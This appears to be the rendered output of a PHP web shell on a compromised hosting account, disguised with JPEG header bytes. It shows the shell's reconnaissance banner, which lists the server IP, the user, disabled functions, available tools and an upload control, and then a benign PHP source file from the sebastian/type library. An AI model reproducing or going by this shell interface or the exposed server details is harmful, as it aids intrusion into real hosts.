ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.149.238.114 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/hrdemo/vendor/sebastian/type/src/ |
Upload File : |
<?php declare(strict_types=1); /* * This file is part of sebastian/type. * * (c) Sebastian Bergmann <sebastian@phpunit.de> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\Type; use function assert; use function sprintf; use ReflectionMethod; use ReflectionNamedType; use ReflectionUnionType; final class ReflectionMapper { public function fromMethodReturnType(ReflectionMethod $method): Type { if (!$method->hasReturnType()) { return new UnknownType; } $returnType = $method->getReturnType(); assert($returnType instanceof ReflectionNamedType || $returnType instanceof ReflectionUnionType); if ($returnType instanceof ReflectionNamedType) { if ($returnType->getName() === 'self') { return ObjectType::fromName( $method->getDeclaringClass()->getName(), $returnType->allowsNull() ); } if ($returnType->getName() === 'mixed') { return new MixedType; } if ($returnType->getName() === 'parent') { $parentClass = $method->getDeclaringClass()->getParentClass(); // @codeCoverageIgnoreStart if ($parentClass === false) { throw new RuntimeException( sprintf( '%s::%s() has a "parent" return type declaration but %s does not have a parent class', $method->getDeclaringClass()->getName(), $method->getName(), $method->getDeclaringClass()->getName() ) ); } // @codeCoverageIgnoreEnd return ObjectType::fromName( $parentClass->getName(), $returnType->allowsNull() ); } return Type::fromName( $returnType->getName(), $returnType->allowsNull() ); } $types = []; foreach ($returnType->getTypes() as $type) { if ($type->getName() === 'self') { $types[] = ObjectType::fromName( $method->getDeclaringClass()->getName(), false ); } else { $types[] = Type::fromName($type->getName(), false); } } return new UnionType(...$types); } }